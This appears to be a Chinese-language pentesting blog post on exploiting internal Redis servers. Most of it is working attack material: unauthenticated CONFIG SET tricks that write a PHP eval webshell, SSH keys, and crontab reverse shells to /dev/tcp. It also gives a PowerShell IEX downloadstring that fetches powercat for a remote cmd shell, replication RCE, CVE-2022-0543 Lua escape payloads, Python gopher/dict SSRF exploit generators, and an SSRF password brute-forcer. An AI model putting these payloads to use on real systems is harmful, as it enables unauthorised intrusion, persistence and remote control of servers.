0x01 Redis Redis 是一个基于内存存储的高性能key-value数据库,完全开源免费。
本文主要分享内网测试环境中redis的利用姿势。
环境 安装 参考Redis 安装 。
端口 6379
配置 bind
配置监听网卡ip。
启动 1 2 redis-server [config file] redis-cli -h 127.0.0.1 -p 6379
0x02 通过redis未授权写文件 其实就是通过修改 redis 的 dbfilename
、dir
配置项。
1. 写WebShell 条件
目标存在web目录
知道web绝对路径
存在对应目录写入权限
利用 redis-cli
未授权访问
1 redis-cli -p 6379 -h x.x.x.x
查看配置
设置数据文件的存储目录为web目录
1 CONFIG SET dir "/var/html/www"
设置文件名
1 CONFIG SET dbfilename ".config.php"
写web shell
1 set x "\r\n\r\n<?php eval($_POST['ant']); ?>\r\n\r\n"
保存
2. 写 ssh key 前置条件多,不好利用。
目标开启了ssh密钥登录,存在/etc/.ssh文件,redis要有root权限
ssh第一次连接时要加上 -o StrictHostKeyChecking=no
具体原理是把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接。
先使用ssh-keygen -t rsa生产公钥
需要flushall,不然会写入失败,==真实业务环境中不能使用flushall==。
1 2 3 4 5 flushall set 1 'id_rsa.pub 里的内容' config set dir '/root/.ssh/' config set dbfilename authorized_keys save
ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138
连接
3. 写crontabs 常见crontabs 1 2 3 4 /var/spool/cron/username /var/spool/cron/crontabs/username /etc/crontab /etc/cron.d/xxx
条件
目标是linux(不适合ubuntu)
root运行的redis
利用 redis-cli
未授权访问
1 redis-cli -p 6379 -h x.x.x.x
设置数据文件的存储目录为crontabs
的目录
1 config set dir "/var/spool/cron/crontabs"
设置文件名
1 config set dbfilename "root"
写crontabs,以反弹shell为例:
1 echo -e "\n\n\n* * * * * bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n\n\n" |redis-cli -x set %
写马
1 echo -e "\n\n* * * * * wget http://*.*.*.*/shell.txt -O /path_to_www/.congfig.php\n\n" |redis-cli -h x.x.x.x -p 6379 -x set %
保存
由于redis向任务计划文件里写内容会出现乱码,从而导致语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,ubuntu、debian 则不行
4. Windows写自启动目录 条件
目标是windows系统
存在Administrator用户
利用 redis-cli
未授权访问
1 redis-cli -p 6379 -h x.x.x.x
设置数据文件的存储目录为Administrator的开机启动目录
1 config set dir "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
设置文件名
1 config set dbfilename "shell.bat"
写批处理脚本
1 set x "\r\n\r\n powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/powercat.ps1'));powercat -c x.x.x.x -p 2333 -e cmd\"\r\n\r\n"
保存
0x03 反序列化的利用 漏洞环境:https://github.com/iSafeBlue/redis-rce
1. fastjson反序列化 关注 json 对象是不是数组,第一个元素看起来像不像类名,例如
1 ["com.blue.bean.User",xxx]
2. jackson反序列化 关注有没有 @type 字段
3. jdk反序列化 首先看 value 是不是 base64,如果是解码后看里面有没有 java 类名
0x04 主从复制RCE 全量复制 执行BGSAVE命令生成RDB文件
从服务器载入快照
增量复制 主服务器每执行一个写命令就会向从服务器发送相同的写命令,从服务器执行。
条件
redis version 4.x-5.0.5
存在未授权
利用 1 2 git clone https://github.com/Ridter/redis-rce.git git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
make编译so文件复制到redis-rce目录下
1 python redis-rce.py -r target-ip -L local-ip -f module.so
然后反弹shell。
0x05 Lua 沙盒逃逸RCE CVE-2022-0543 仅针对 Debian 及其衍生的 Linux 发行版,上游的 Redis 不受影响。发现者称其为Debian的漏洞。
条件
目标是基于Debian的Redis实例而非原生版本
利用 1 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
1 eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0'
An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other derivatives
0x06 SSRF+redis 如利用gopher协议进行ssrf需要符合RESP协议
1. 定时反弹shell 目标是linux(不适合ubuntu),redis有root权限或写权限
dict exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import urllib2,urllib,binasciiurl = "http://192.168.0.109/ssrf/base/curl_exec.php?url=" target = "dict://192.168.0.119:6379/" cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"' , "config:set:dir:/etc/" , "config:set:dbfilename:crontab" , "bgsave" ] for cmd in cmds: cmd_encoder = "" for single_char in cmd: cmd_encoder += hex (ord (single_char)).replace("0x" ,"" ) cmd_encoder = binascii.a2b_hex(cmd_encoder) cmd_encoder = urllib.quote(cmd_encoder,'utf-8' ) payload = url + target + cmd_encoder print payload request = urllib2.Request(payload) response = urllib2.urlopen(request).read()
gopher exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import urllibprotocol="gopher://" ip="192.168.230.138" port="6379" reverse_ip="192.168.163.132" reverse_port="2333" cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n" %(reverse_ip,reverse_port) filename="root" path="/var/spool/cron" passwd="" cmd=["set 1 {}" .format (cron.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print payload print urllib.quote("二次url编码后的结果:\n" + payload)
2. getshell 存在并知道网站目录,redis有root权限或网站目录写权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import urllibprotocol="gopher://" ip="192.168.230.138" port="6379" shell="\n\n<?php phpinfo();?>\n\n" filename="shell.php" path="/var" passwd="" cmd=["set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print payload print urllib.quote("二次url编码后的结果:\n" + payload)
3. 写ssh公钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import urllibprotocol="gopher://" ip="192.168.230.138" port="6379" sshpublic_key = "\n\nid_rsa.pub 里的内容\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall" , "set 1 {}" .format (sshpublic_key.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.quote(redis_format(x)) print payload print urllib.quote("二次url编码后的结果:\n" + payload)
相关工具
0x07 REDIS爆破 公网爆破 使用msf的auxiliary/scanner/redis/redis_login模块
内网爆破 结合ssrf爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requeststarget = "http://x.x.x.x:6666/index.php?url=" rhost = "127.0.0.1" rport = "6379" with open ("passwords.txt" ,"r+" ) as file: passwds = file.readlines() for passwd in passwds: passwd = passwd.strip("\n" ) len_pass = len (passwd) payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524" +str (len_pass)+r"%250d%250a" +passwd+r"%250D%250A%252A1%250D%250A" url = target+str (payload) text = requests.get(url).text if "OK" in text: print ("[+] 爆破成功 密码为: " + passwd) print (text + payload) break
参考